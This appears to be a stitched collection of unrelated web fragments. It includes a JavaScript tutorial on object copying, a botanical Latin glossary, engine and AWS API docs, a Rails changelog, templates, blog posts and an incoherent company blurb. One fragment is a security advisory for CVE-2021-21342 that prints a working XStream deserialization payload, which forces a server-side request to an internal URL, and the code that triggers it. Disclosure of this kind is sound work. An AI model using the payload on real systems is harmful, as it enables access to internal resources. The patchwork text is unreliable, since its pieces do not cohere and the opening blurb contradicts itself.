Founded in 2017,Currently We team of 4 are Student at Epicodus.  Through its mobile and online distribution platforms, Memory Game App has distributed games to customers in globally from a growing catalog of 450+ unique PC games. After successfully completing Intro to Programming at Epicodus, Portland; Memory Game App we've developed card flip game application specially for kids to enhance memory skills. The Epicodus is headquartered in Seattle, WA, with regional offices in Portland, OR. contact us at memoryflip2017@memory-flip.com


Value vs Reference: Deep vs Shallow
It seems like the easiest thing in the world: copy the thing stored in one variable into another variable so that you can manipulate two instances of this variable.
Say you have an object you want a copy of. The naive way to copy would be to create a new variable and set it equal to the object you desire to copy.
At first, all appears well and good. But then you try to modify either of the two objects. Modifying the property of one modifies the property of the other:
let catObj = { name: "fluffy", age: 5 };
let anotherCat = catObj;
anotherCat.age = 10;
anotherCat.age == catObj.age; // true
delete catObj.name;
delete catObj.age;
console.log(anotherCat); // {}
This is not a bug. Why is this? The two properties reference the same value.
Pass by Value vs Pass by Reference
The distinction between value and reference is the distinction between a unique copy of a value and a pointer to a single instance of a value. The two objects reference the same value. This means that changing the value of one of the references alters the single value.
If you don’t need to change the value of a thing and it is shared across multiple object instances, it makes a sense to just store a pointer to that thing. After all, when you go to copy these instances, you only have to copy a single pointer rather than the entire object.
In Javascript, objects and arrays are mutable. Without explicitly copying them, any variables that point to them are references to them, meaning that making a local change will impact every other variable that points to that value.
function giveCatHaircut(obj) {
let trimmedHair = obj;
trimmedHair.haircut = true;
}
let fluffy = { name: "fluffy", haircut: false };
giveCatHaircut(fluffy);
let fluffy = { name: "fluffy", haircut: true };
Object mutation inside a function
function countSingles(arr) {
let singles = 0;
while (arr.length) {
let element = arr.shift();
if (String(element).length == 1) {
singles++;
}
}
return singles;
}
let mixedArr = [1, 2, 3, "cats", "horses", "dogs"];
countSingles(mixedArr); // 3, correct!
console.log(mixedArr); // [], oops.
Naive way to count the number of length===1 elements in an array
Pass-by-reference is usually a nice feature: indeed, it’s a key mechanism for prototypal inheritance to function. It’s only an issue when the implicit nature of the reference causes you to unintentionally mutate state and create unexpected behavior. In languages like C, pointers and references are explicitly declared. In JS, it happens under the hood.
Fixing the Two Examples
Object copying
We can copy one-dimensional (non-nested) objects using Object.assign
(Docs)
, which copies all enumerable and own properties from specified sources (one or more objects) to a target object. If multiple source objects are defined, matching keys are that occur earlier overwritten by keys that occur later (assignment occurs from left-to-right).
let a = { cat: "big" };
let b = { cat: "small" };
let c = { cat: "medium" };
let newCat = Object.assign({}, c, b, a);
newCat; // {cat: "big"}
let newCat1 = Object.assign({}, a, c, b);
newCat1; // {cat: "small"}
A selective cat barber.
function giveCatHaircut(obj) {
let trimmedHair = Object.assign({}, obj);
trimmedHair.haircut = true;
return trimmedHair;
}
let fluffy = { name: "fluffy", haircut: false };
let haircut = giveCatHaircut(fluffy);
console.log(fluffy); // {name: 'fluffy', haircut: false };
console.log(haircut); // {name: 'fluffy', haircut: true };
Array Copying
We can copy an array with Array.slice()
(Docs)
. We could also fix up our function by using map
and filter
to immutably calculate the desired value:
return arr.map(e=>String(e)).filter(e=>e.length==1).length;
Since map and filter maintain internal variables that track the state of their operations, they are making an implicit copy of the array and do not mutate the original in place.
Multidimensional Copying
Object.assign fails to create copying behavior when the object is nested: that is, when its values are themselves objects. Instead, it assigns references.
let catObj = {
name: "fluffy",
age: 5,
friends: ["larry", "charlie", "suzy"]
};
let anotherCat = Object.assign({}, catObj);
anotherCat.friends.push("ned");
console.log(anotherCat.friends); // ['larry', 'charlie', 'suzy', 'ned']
console.log(catObj.friends); // ['larry', 'charlie', 'suzy', 'ned']
Object.assign
works fine at a given level of an object to copy values, but it fails when those values are not primitives or are themselves objects.
Similarly with arrays, Array.slice()
does not create value copies of nested arrays.
function notImmutable(arr) {
let localCopy = arr.slice();
localCopy[1][1] = 999;
return localCopy;
}
let nestedArr = [1, [2, 3]];
console.log(notImmutable(nestedArr)); // [1, [2, 999]]
console.log(nestedArr); // [1, [2, 999]] doh!
Array.slice() only copies by value those elements on the level of the array on which .slice was called. Nested values are copied as references.
How can we make a deep copy of a nested array or object?
We need to recursively examine each level of the object in question. If a given level consists of only primitives, we assign the copy these values. If the given level consists of non-primitives, we copy the value according to the immutable copying method for that primitive (Array.slice()
, Date = new Date()
, etc.). We then continue until we reach a level of the object which does not contain any nested levels itself.
There are a few gotchas involved in writing such a method. One is circular references:
anotherCat.self = anotherCat;
console.log(anotherCat); // self: [Circular]
anotherCat.self; // another cat
anotherCat.self.self; // another cat
anotherCat.self
references anotherCat, and so on into infinity.
If we write a method that iterates over the object and copies its properties, we have to have a way of detecting whether there are circular references in the object. Otherwise, recursing on a given property of the object until it has no other children would lead to an infinite loop (imagine: recurse on anotherCat.self until anotherCat.self is a primitive).
Detecting a circular reference is more than just detecting an object that points to an object that is the same as itself – note that we could have two distinct objects that share all the same values and have a link between them: the reference would not be circular, even though it would appear to be so, just as in the above example.
Maybe Later.
Writing the code to deep copy an object while managing all the edge cases is outside the scope of this tutorial: indeed, entire libraries exist to solve this problem like these . You should probably use one, if you really need to exhaustively copy an entire array or object. You should also consider: do you really need to exhaustively copy an entire array or object? Often using Immutable data structures or selectively slicing out elements depending on your use case is enough. It’s also easier to read and maintain.
ImmutableJS makes the intricacies of deep cloning one case for immutability: since the structure of objects cannot be changed directly, you can copy an object simply by copying a reference to itself. Note that all the problems we encountered above came about because we set a reference and then changed the value through that reference.
The key here is to understand the concepts and limitations of object and array copying methods, to understand the difference between pass-by-reference and pass-by-value, and to understand when you’d want to use one or the other: to modify in place vs to perform non-mutating operations to return a result. Keeping these concepts in mind is key to writing and understanding code with any level of complexity.
TIL
Copying objects is complicated. It’s rare that you will want to copy an entire object indiscriminately. The key takeaways:
- Objects and Arrays are passed as references and have to be explicitly copied unless you wish to mutate the original.
- Other primitives are passed by value.
- Individual levels of an array can be copies with
.slice()
, but.slice()
returns references to nested arrays. - Similarly with Objects,
Object.assign({}, source)
can be used, but nested objects will return references as well. - Consider using a library or custom method for selective deep copying. It’s often better to take intelligent slices rather than indiscriminate copies for memory and performance: and it’s also a lot easier to debug and follow logically.


© 2019
| yezoalpinus yezoalpina yezoalpinum | from the mountains of Hokkaido | |||
| yezo | yezo | noun | Yezo Japanese the former name for Hokkaido, the northernmost of the large islands of Japan | |
| alpinus | alpin | adj | of alps, mountains | |
| Salix yezoalpina Koidz. | ||||
| yezoensis yezoensis yezoense | from Hokkaido | |||
| yezo | yezo | noun | Yezo Japanese the former name for Hokkaido, the northernmost of the large islands of Japan | |
| ensis | ens | adj | adjective suffix for nouns: country or place of origin or habitat | |
| Polemonium yezoense Kitam. Viola yezoensis Maxim. | ||||
| yosemitensis yosemitensis yosemitense | from Yosemite Valley | |||
| yosemite | yosemit | noun | Yosemite Yosemite Valley in Sierra Nevada Mts, central California, USA, site of Yosemite National Park | |
| ensis | ens | adj | adjective suffix for nouns: country or place of origin or habitat | |
| Sedum yosemitense Britt. | ||||
| yuccifolius yuccifolia yuccifolium | Yucca leaved | |||
| yucca | yucc | noun | yuca Arawak native name for Manihot esculenta of which genus Yucca was mistaken for | |
| i | i | cnct | connective vowel used by botanical Latin | |
| folius | foli | adj | folium leaf | |
| Eryngium yuccifolium Michx. | ||||
| yunnanensis yunnanensis yunnanense | Yunnan province, China | |||
| yunnan | yunnan | noun | Yunnan Chinese south central Chinese province along border with Myanmar and Laos | |
| ensis | ens | adj | adjective suffix for nouns: country or place of origin or habitat | |
| Rhododendron yunnanense Franch. Malus yunnanensis (Franch.) C. K. Schneid. |


|
jade-engine
0.0
|
Public Attributes | |
| uint32_t | renderingResolutionWidth |
| uint32_t | renderingResolutionHeight |
| std::string | windowName |
| std::string | appName |
| std::vector< uint32_t > | fontSizes |
| SDL_Color | backgroundColor |
| std::vector< GameInitParamsTextureEntry > | textures |
| std::vector< GameInitParamsFontEntry > | fonts |
| std::vector< GameInitParamsSoundEntry > | sounds |
| std::vector< GameInitParamsCursorEntry > | cursors |
| std::vector< GameInitParamsSpriteSheetEntry > | spritesheets |
| std::vector< GameInitParamsKeyBindingEntry > | keybindings |
| bool | settingPersistenceEnabled |
| std::string | author |
| int32_t | copyrightYear |
| int32_t | majorVersion |
| int32_t | minorVersion |
| std::string | hashVersion |
| std::string JadeEngine::GameInitParams::appName |
String representing the game name used for the settings file name.
Will be used in file operations and should be a valid file and folder name for the targeted system. Note the jade-engine will create a folder with this name in AppData for Windows and create settings file with the same name there.
| std::string JadeEngine::GameInitParams::author |
Name of person or organization behind the game.
Displayed in MainMenuScene inside copyright text.
| SDL_Color JadeEngine::GameInitParams::backgroundColor |
Background color of the game screen, alpha component is ignored.
Each rendering frame following operation SDL_SetRenderDrawColor(backgroundColor) -> SDL_RenderClear happen as the very first thing. Note that this is RGBA as uint8_t, i.e. 0-255.
| int32_t JadeEngine::GameInitParams::copyrightYear |
Year for copyright text displayed in MainMenuScene.
| std::vector<GameInitParamsCursorEntry> JadeEngine::GameInitParams::cursors |
List of cursor texture files to load during game initialization and create cursors out of them.
Cursors are loaded using SDL2 IMG library, namely IMG_Load() function and then passed to SDL2 SDL_CreateColorCursor().
| std::vector<GameInitParamsFontEntry> JadeEngine::GameInitParams::fonts |
List of font files to load during game initialization.
Fonts are generally referenced using the std::string originating in FontStyleEntry::assetName and uint32_t size that has been listed in GameInitParams::fontSizes.
Fonts are loaded using SDL2 TTF library, namely TTF_OpenFont() function.
| std::vector<uint32_t> JadeEngine::GameInitParams::fontSizes |
List of font sizes that will be generated for each font in fonts member.
It is not currently possible to add font sizes during runtime.
| std::string JadeEngine::GameInitParams::hashVersion |
| std::vector<GameInitParamsKeyBindingEntry> JadeEngine::GameInitParams::keybindings |
List of key-bindings that can be used with Input class.
Key-bindings are stored in settings files to persist across sessions and are displayed and configurable in OptionsMenuScene.
| int32_t JadeEngine::GameInitParams::majorVersion |
Major version of the game.
Used together with minor version in settings file to determine whether the settings is compatible. Both majorVersion and minorVersion stored in the settings file have to be equal to those passed in GameInitParams otherwise the settings file we be recreated. Displayed in the in MainMenuScene.
| int32_t JadeEngine::GameInitParams::minorVersion |
Minor version of the game.
Used together with major version in settings file to determine whether the settings is compatible. Both majorVersion and minorVersion stored in the settings file have to be equal to those passed in GameInitParams otherwise the settings file we be recreated. Displayed in the in MainMenuScene.
| uint32_t JadeEngine::GameInitParams::renderingResolutionHeight |
Height in pixels of "rendering" resolution that will be used to draw all game objects.
| uint32_t JadeEngine::GameInitParams::renderingResolutionWidth |
Width in pixels of "rendering" resolution that will be used to draw all game objects.
What is presented on the screen is potentially scaled version of that depending on the user chosen "display" resolution. All assets should be targeting this rendering resolution.
| bool JadeEngine::GameInitParams::settingPersistenceEnabled |
Whether setting values will be persist between sessions.
If set to true
the game will create a setting file in AppData.
| std::vector<GameInitParamsSoundEntry> JadeEngine::GameInitParams::sounds |
List of sound files to load during game initialization.
Sounds are loaded using SDL2 Mixer library, namely Mix_LoadWAV() function.
| std::vector<GameInitParamsSpriteSheetEntry> JadeEngine::GameInitParams::spritesheets |
List of sprite-sheets to load during game initialization.
Sprite-sheets are collection of textures packed into one texture with corresponding configuration file specifying the layout. jade-engine can read configuration JSON files produced by free version TexturePacker.
The texture parts are loaded using SDL2 IMG library, namely IMG_Load() function.
| std::vector<GameInitParamsTextureEntry> JadeEngine::GameInitParams::textures |
List of textures to load during game initialization.
Textures are loaded using SDL2 IMG library, namely IMG_Load() function.
| std::string JadeEngine::GameInitParams::windowName |
String displayed in the title of window.


Total number of records for this dataset: {{dataCount}}
Breakdown information by selecting a column in the dataset
{{currentDescription}}


Testing
Testing
Experimental Log
Experimental Log
Development
Development
Research
Research
Reports
Reports
Requirements
Requirements
Home
Home
menu
Reports
Bi-Weekly Reports
Below is a list of all our bi-weekly reports of the project so far. The reports are used to track our progress with the project as well as the minutes of our meetings.
1. Bi-Weekly Report 12th October 2016
2. Bi-Weekly Report 28th October 2016
3. Bi-Weekly Report 18th November 2016
4. Bi-Weekly Report 3rd December 2016
5. Bi-Weekly Report 27th January 2017
6. Bi-Weekly Report 8th February 2017
7. Bi-Weekly Report 27th February 2017
8. Bi-Weekly Report 10th March 2017
9. Bi-Weekly Report 24th March 2017
Documentation
User documentation for installation and usage


Class: Aws::RDS::Types::DescribeDBSnapshotsMessage
| Inherits: |
Struct
|
| Defined in: |
(unknown) |
Overview
DescribeDBSnapshotsMessage
as input to a Client method, you can use a vanilla Hash
:
{
db_instance_identifier: "String",
db_snapshot_identifier: "String",
snapshot_type: "String",
filters: [
{
name: "String", # required
values: ["String"], # required
},
],
max_records: 1,
marker: "String",
include_shared: false,
include_public: false,
}
Instance Attribute Summary collapse
-
#db_instance_identifier ⇒ String
The ID of the DB instance to retrieve the list of DB snapshots for.
-
#db_snapshot_identifier ⇒ String
A specific DB snapshot identifier to describe.
-
#filters ⇒ Array<Types::Filter>
This parameter is not currently supported.
-
#include_public ⇒ Boolean
Set this value to
true
to include manual DB snapshots that are public and can be copied or restored by any AWS account, otherwise set this value tofalse
. -
#include_shared ⇒ Boolean
Set this value to
true
to include shared manual DB snapshots from other AWS accounts that this AWS account has been given permission to copy or restore, otherwise set this value tofalse
. -
#marker ⇒ String
An optional pagination token provided by a previous
DescribeDBSnapshots
request. -
#max_records ⇒ Integer
The maximum number of records to include in the response.
-
#snapshot_type ⇒ String
The type of snapshots to be returned.
Instance Attribute Details
#db_instance_identifier ⇒ String
The ID of the DB instance to retrieve the list of DB snapshots for. This
parameter cannot be used in conjunction with DBSnapshotIdentifier
.
This parameter is not case-sensitive.
Constraints:
Must contain from 1 to 63 alphanumeric characters or hyphens
First character must be a letter
Cannot end with a hyphen or contain two consecutive hyphens
#db_snapshot_identifier ⇒ String
A specific DB snapshot identifier to describe. This parameter cannot be
used in conjunction with DBInstanceIdentifier
. This value is stored as
a lowercase string.
Constraints:
Must be 1 to 255 alphanumeric characters.
First character must be a letter.
Cannot end with a hyphen or contain two consecutive hyphens.
If this identifier is for an automated snapshot, the
SnapshotType
parameter must also be specified.
#filters ⇒ Array<Types::Filter>
This parameter is not currently supported.
#include_public ⇒ Boolean
Set this value to true
to include manual DB snapshots that are public
and can be copied or restored by any AWS account, otherwise set this
value to false
. The default is false
.
You can share a manual DB snapshot as public by using the ModifyDBSnapshotAttribute API.
#marker ⇒ String
An optional pagination token provided by a previous
DescribeDBSnapshots
request. If this parameter is specified, the
response includes only records beyond the marker, up to the value
specified by MaxRecords
.
#max_records ⇒ Integer
The maximum number of records to include in the response. If more
records exist than the specified MaxRecords
value, a pagination token
called a marker is included in the response so that the remaining
results can be retrieved.
Default: 100
Constraints: Minimum 20, maximum 100.
#snapshot_type ⇒ String
The type of snapshots to be returned. You can specify one of the following values:
automated
- Return all DB snapshots that have been automatically taken by Amazon RDS for my AWS account.manual
- Return all DB snapshots that have been taken by my AWS account.shared
- Return all manual DB snapshots that have been shared to my AWS account.public
- Return all DB snapshots that have been marked as public.
If you don\'t specify a SnapshotType
value, then both automated and
manual snapshots are returned. Shared and public DB snapshots are not
included in the returned results by default. You can include shared
snapshots with these results by setting the IncludeShared
parameter to
true
. You can include public snapshots with these results by setting
the IncludePublic
parameter to true
.
The IncludeShared
and IncludePublic
parameters don\'t apply for
SnapshotType
values of manual
or automated
. The IncludePublic
parameter doesn\'t apply when SnapshotType
is set to shared
. The
IncludeShared
parameter doesn\'t apply when SnapshotType
is set to
public
.


Posts tagged "haskell"
- Using `ghc-syntax-highlighter` with Hakyll - 29 January 2023
- Updating IHaskell to a Newer GHC - 2 May 2021
- Getting Along with JavaScript - 29 October 2019
- Easy IHaskell Docker Images with Nix - 11 August 2019
- Hacking on GHC Has Never Been Easier! - 22 June 2019
- Refactoring Haskell: A Case Study - 12 February 2019
- Moving Towards Dialogue - 3 November 2018
- HAMTs from Scratch - 29 July 2018
- Trees That Shrink - 19 June 2018
- IHaskell on CoCalc! - 8 April 2018
- IHaskell on mybinder.org - 31 March 2018
- Faking Non-NixOS for Stack - 17 March 2018
- Revisiting 'Monadic Parsing in Haskell' - 4 February 2018
- Building Static Haskell Binaries with Nix - 3 January 2018
- I Haskell a Git - 13 August 2017
- Imperative Haskell - 29 May 2017
- Discovering Continuations with Typed Holes - 22 May 2017
- A Simple Key-Value Store with Servant - 24 January 2017
- Monad Anti-tutorial - 12 October 2016
- Using The Writer Monad Outside Logging - 24 July 2016
- You Could Have Invented The State Monad - 17 June 2016


Rails 4.0.1 (November 01, 2013)
-
Invoke mailer defaults as procs only if they are procs, do not convert with
to_proc
. That an object is convertible to a proc does not mean it's meant to be always used as a proc.Fixes #11533.
Alex Tsukernik
Rails 4.0.0 (June 25, 2013)
-
Allow passing interpolations to
#default_i18n_subject
, e.g.:# config/locales/en.yml en: user_mailer: welcome: subject: 'Hello, %{username}' # app/mailers/user_mailer.rb class UserMailer < ActionMailer::Base def welcome(user) mail(subject: default_i18n_subject(username: user.name)) end end
Olek Janiszewski
-
Eager loading made to use relation's
in_clause_length
instead of host's one. Fixes #8474.Boris Staal
-
Explicit multipart messages no longer set the order of the MIME parts.
Nate Berkopec
-
Do not render views when
mail
isn't called. Fixes #7761.Yves Senn
-
Allow delivery method options to be set per mail instance.
If your SMTP delivery settings are dynamic, you can now override settings per mail instance for e.g.
def my_mailer(user, company) mail to: user.email, subject: "Welcome!", delivery_method_options: { user_name: company.smtp_user, password: company.smtp_password } end
This will ensure that your default SMTP settings will be overridden by the company specific ones. You only have to override the settings that are dynamic and leave the static setting in your environment configuration file (e.g.
config/environments/production.rb
).Aditya Sanghi
-
Allow to set default Action Mailer options via
config.action_mailer.default_options=
. Robert Pankowecki -
Raise an
ActionView::MissingTemplate
exception when no implicit template could be found. Damien Mathieu -
Allow callbacks to be defined in mailers similar to
ActionController::Base
. You can configure default settings, headers, attachments, delivery settings or change delivery usingbefore_filter
,after_filter
, etc. Justin S. Leitgeb
Please check 3-2-stable for previous changes.


--- layout: post title: JOpt Simple 4.2 released published: 1 category: - Programming ---
JOpt Simple is my Java library for parsing command line options. You can find the changes in this latest release here.
This release incorporates a small API change to allow compile-time arrays as the supplier of default values for an argument-accepting option, as well as removing some internal unused methods and classes.
Happy parsing!


{% extends "base.html" %} {% set active_page = "home" %} {% set page_title = "Home - A custom Doge mining pool with no registration" %} {% block body %}
URL: stratum+tcp://stratum.simpledoge.com Port: 3333 Username: [Your doge wallet address].[Worker Name] Password: anything cgminer example: ./cgminer -o stratum+tcp://stratum.simpledoge.com:3333 -u DRhevw3qkAjmAjyNkSyXh2kxvrXuxktmyD.worker1 -p x -I 13
This setup allows you to monitor multiple rigs easily, without setting up a pool manager, and view actual data from each of your rigs, rather than approximations.
Graphs broken down by worker give you a good at-a-glance picture of what is going on.
{{ new['body']|safe }}


This post contains spoilers for The Last Jedi.
Jacob Hall, writing for SlashFilm:
It’s telling that The Force Awakens feels like a cinematic adaptation of our nostalgic feelings about Star Wars instead of a Star Wars movie as conceived by George Lucas.
Perhaps that’s why The Last Jedi is such a jarring experience, one that feels specifically built to make audiences work through their feelings about this universe. Rian Johnson is unabashedly political and unafraid to slaughter the sacred cows.
For the first hour or so of the movie last night, I kept thinking The Last Jedi didn’t feel like a Star Wars movie the way The Force Awakens did, but I couldn’t put my finger on why. But slowly, as the movie went on, I got more and more excited about what I was seeing.
I think this quote (and really the whole article) from Jacob Hall does a great job of summarizing how I felt. I went in expecting the second part of The Force Awakens and getting something entirely different…and that’s actually great.
A few other quick thoughts:
- All along I wanted Rey’s parents to be nobody. I didn’t get many of my hopes or predictions, but this was one I was really pleased with.
- I’m also glad I didn’t go with huge theories as to who Snoke was. I wanted to know more about him, but I wasn’t obsessed. That turned out to be for the best. That whole scene and the lightsaber fight after were incredible.
- I’m still not sure how I feel about Luke trying to kill Ben. I think it served the story discussing the Jedi hubris well though.
- The main thing I didn’t really care about was Canto Bight. I could have done without that whole sequence. I liked Rose, and I liked her having a side adventure with Finn, but what they did didn’t do it for me.
- On first watch, the premise with the Resistance fleet flying just out of range of the First Order felt like a Doctor Who plot line that you shouldn’t think about too hard. Not that that‘s terrible. I love Doctor Who. It just seemed like a thread you probably shouldn’t pull at.
- I loved the interactions with Luke and Rey as well as Rey and Kylo Ren. I thought Luke having a crazy old man vibe was fun.
- It’s strange that all 3 principal characters from the original trilogy are gone. With Carrie Fisher’s tragic death, I hope we get force ghost Luke in Episode IX. Not having any of them would be sad.
- I can’t wait to see this movie again. I loved it.


At last! Your chance to announce your unalloyed devotion to Hooting Yard by sporting an exclusive Hooting Yard badge! Hand-crafted by unpaid half-blind orphans in the dank cellars of Pang Hill Orphanage, the badges measure 25mm across and are non-edible, nourishing the spirit rather than the corporeal maw.
How to order:
1. Click the Donate button to your right and send £1.25 per badge to the Keeper of the Hooting Yard Privy Purse. This includes the cost of postage and packing and the PayPal clawback. If you live outside the UK you might wish to add a widow's mite for extra postage.
2. Send me an email telling me your postal address, with the subject heading “Gosh, I am breathless with excitement at the prospect of wearing my Hooting Yard lapel badge”, or words to that effect.
3. Allow sufficient time for Mr Key to drag his weary bones to the post office to complete the transaction.
Note for subscribers: Sensible persons with a Hooting Yard subscription will be receiving their complimentary badge shortly, so need not lift a finger.


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{% extends "base.html" %} {% block body %}
We worked with Sauce Labs, a late-stage growth company based on San Francisco, to create a brand commercial for their website and YouTube channel. We wanted to creatively convey how the software testing process is made easier and better with their service.


CVE-2021-21342: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host.
All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request.
Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'> <packet> <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <dataSource class='javax.activation.URLDataSource'> <url>http://localhost:8080/internal/</url> </dataSource> </message> </packet> </indexMap> </comparator> </default> <int>3</int> <string>javax.xml.ws.binding.attachments.inbound</string> <string>javax.xml.ws.binding.attachments.inbound</string> </java.util.PriorityQueue> </java.util.PriorityQueue>
XStream xstream = new XStream(); xstream.fromXML(xml);
As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.
Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.
The vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream.
See workarounds for the different versions covering all CVEs.
钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.


KSI vs. Logan Paul 2 highlights: Ronny Rios, Diego Pacheco score knockouts
by Mookie AlexanderThe preliminary card for KSI vs. Logan Paul 2 is complete, and Staples Center was filled up quite nicely for the early action. They got treated to some highlight-reel stoppages and an in-ring marriage proposal, and you can see all of them in the clips below.
Super-bantamweight Ronny Rios made short work of Hugo Berrio with a fourth-round KO. Rios was largely in control of the fight and walloped Berrio with a hard right hand that almost sent him through the ropes. Berrio got up, but he was groggy and taking a beating, so the corner did the sensible thing and threw in the towel.
Next up, 18-year-old prospect Diego Pacheco outclassed a tough but overmatched Aaron Casper in a scheduled six-rounder. The 6’4” former amateur standout is plying his trade at super-middleweight at the moment, and he started and finished strongly. He scored a first-round knockdown, steadily picked apart Casper towards the end of round three, then delighted the local fans with two knockdowns to force the referee to save Casper from any more punishment.
Lastly, Youtube star and MMA fighter Josh Brueckner won his pro boxing debut over fellow MMA fighter and boxing newcomer Tyler Smith. Brueckner took a shutout unanimous decision over four rounds, and while the fight was as club-level and not particularly interesting as you may expect, Brueckner took the opportunity not to call out Logan Paul or KSI, but his girlfriend (and fellow social media star) Katie Betzing. He proposed to her in the ring, and she said yes.


|
Cosan
1.0
Data Analytics Library
|
Class for statistics results. More...
#include <statistics.h>
Public Member Functions | |
| SummaryStatistics () | |
| CosanMatrix< NumericType > & | GetSampleCovariance (const CosanMatrix< NumericType > &X) |
| NumericType | GetMean (const CosanMatrix< NumericType > &X) |
| NumericType | GetVar (const CosanMatrix< NumericType > &X) |
| NumericType | GetMedian (const CosanMatrix< NumericType > &X) |
| NumericType | GetMax (const CosanMatrix< NumericType > &X) |
| NumericType | GetMin (const CosanMatrix< NumericType > &X) |
| Public Member Functions inherited from Cosan::Evaluation | |
| Evaluation () | |
| Public Member Functions inherited from Cosan::CosanBO | |
| CosanBO () | |
| Default constructor. More... | |
| virtual const std::string | GetName () const |
| Get the name of the objects. More... | |
Public Attributes | |
| CosanMatrix< NumericType > | SampleCovariance |
| NumericType | mean |
| NumericType | variance |
| NumericType | median |
| NumericType | maxNum |
| NumericType | minNum |
Class for statistics results.
calculate SampleCovariance, mean, variance, median, maxNum, minNum;
Definition at line 21 of file statistics.h.
|
inline |
Definition at line 23 of file statistics.h.
|
inline |
Definition at line 64 of file statistics.h.
|
inline |
Definition at line 32 of file statistics.h.
|
inline |
Definition at line 47 of file statistics.h.
|
inline |
Definition at line 71 of file statistics.h.
|
inline |
Definition at line 24 of file statistics.h.
|
inline |
Definition at line 39 of file statistics.h.
| NumericType Cosan::SummaryStatistics< NumericType >::maxNum |
Definition at line 83 of file statistics.h.
| NumericType Cosan::SummaryStatistics< NumericType >::mean |
Definition at line 80 of file statistics.h.
| NumericType Cosan::SummaryStatistics< NumericType >::median |
Definition at line 82 of file statistics.h.
| NumericType Cosan::SummaryStatistics< NumericType >::minNum |
Definition at line 84 of file statistics.h.
| CosanMatrix<NumericType> Cosan::SummaryStatistics< NumericType >::SampleCovariance |
Definition at line 79 of file statistics.h.
| NumericType Cosan::SummaryStatistics< NumericType >::variance |
Definition at line 81 of file statistics.h.


| Sparse GNMT |
90% sparse GNMT model and a 2x2 block sparse translating German to English trained on Europarl-v7 , Common Crawl and News Commentary 11 datasets |
|
| Intent Extraction |
A MultiTaskIntentModel intent extraction and slot tagging model, trained on SNIPS NLU dataset |
|
| Named Entity Recognition |
A NERCRF model trained on CoNLL 2003 dataset |
|
| Dependency parser |
Graph-based dependency parser using BiLSTM feature extractors |
model |
| Machine comprehension |
Match LSTM model trained on SQuAD dataset |
|
| Word chunker |
A word chunker model trained on CoNLL 2000 dataset |
|


Hover-over field labels for more descriptive text. Fields marked with an asterisk (*) are required.
Hover-over field labels for more descriptive text. Fields marked with an asterisk (*) are required.{{>formLegendPulldown}}


{% extends "common/base.html" %} {% block page_title %}404 error{% endblock page_title %} {% block page_content %}
The link you have followed is not more available or broken. This error has been reported.
For more information you can contact us DL-ITOP-MONITORING.


Climate Predictions
The following graph displays the different predicted possibilities of climate by 2100. The Y-axis is the percent increase above the average global temperature in 2000. The X-axis is every quater century.


Caroline Anne's Photography:
My top ten favorite bands I photographed this year.
- Pearl Jam
- Thunderpussy
- Israel Nash
- Sera Cahoone
- Marissa Nadler
- Delvon LaMarr Organ Trio
- Mudhoney
- Red Fang
- Car Seat Headrest & Naked Giants
- Afghan Whigs
My Portfolio
- Innocent Words Magazine
- Ballard Vox
- Instagram
- Facebook


A speaker has made changes to "{{ proposal.title }}" which you have previously reviewed or commented on.
View the latest version of the proposal online at https://{{ current_site }}{% url 'review_proposal_detail' proposal.pk %}


Agenda:
- Introduction
- Angular
- React
- Conclusion
- Q & A
- Try it by yourself!
My experience on web:
- Part-time frontend developer (2012 - 2013)
- Full-stack: ASP.Core + Angular (2017 - 2018)
- SW architect: .NET services + React (2019)
I'm not a frontend specialist :)
This presentation is from a point of view of .NET developer
with some experience on web
Super-Brief History of JavaScript Frameworks
...last ~10 years
JavaScript Frameworks Timeline
- 2006 - jQuery
- 2010 - Backbone, Knockout, AngularJS
- 2013 - React
- 2014 - Vue
- 2016 - Angular 2.0
Angular & React (2019):
- Excellent documentation
- Stable development
- Tested in production
- 3rd party libraries
- Developers available
Angular, React or Vue:
- Corporate environment
- You don't want to learn another JS framework which will be soon obsolete (you have a life)
Consider using something else:
- You are an expert with specific requirements
- Personal projects (you don't have a life)
Build process & development environment
Example structure of Angular Application
@NgModule
NgModules consolidate components, directives, and pipes into cohesive blocks of functionality.
Component
@Component
A component controls a patch of screen called a view.
Change detection
Angular can detect when component data changes, and then automatically re-render the view to reflect that change.
Lifecycle sequence
- constructor()
- ngOnInit()
- ngAfterContentInit()
- ngAfterViewInit()
- ngOnDestroy()
Example structure of React Application
-
Redux pros:
- Save & Restore
- Time travel
- Unidirectional data flow without side effects
-
Redux cons:
- Requires normalized state
- Boilerplate
- Async flows
MobX
1 . The application state of complex applications can best be expressed using graphs to achieve referential consistency and stay close to the mental model of a problem domain.
MobX
2. One should not imperatively act on state changes by using manually defined subscriptions or cursors. This will inevitably lead to bugs as a result of under- or oversubscribing.
MobX
3. Use runtime analysis to determine the smallest possible set of observer → observable relationships. This leads to a computational model where it can be guaranteed that the minimum amount of derivations are run without ever observing a stale value.
MobX
4. Any derivation that is not needed to achieve an active side effect can be optimized away completely.
Conclusion
So angular or react?
My subjective opinion
-
Angular was easy to start
- Component code - like ViewModel in MVVM
- Template - like View in MVVM
- Dependency Injection
-
...later I got frustrated
- Templates: poor tooling
- Templates: directives / pipes instead of code
- Templates: angular expressions
My subjective opinion
-
Started learning React
- JSX is great
- Is React + TypeScript working together?
- State management - WTF?
- Redux: terrible amount of boilerplate
- MobX: looks nice


Pixel Dimming ensure the highest print quality along with an easy setup experience. This feature would have
following effects by dimming the pixels:
- Prevents over-cure
- Preserves details
- Makes it possible to use one profile/cure time for different pieces with different thicknesses
- Increases the PDMS life time
What is/are the reason(s) to use it?
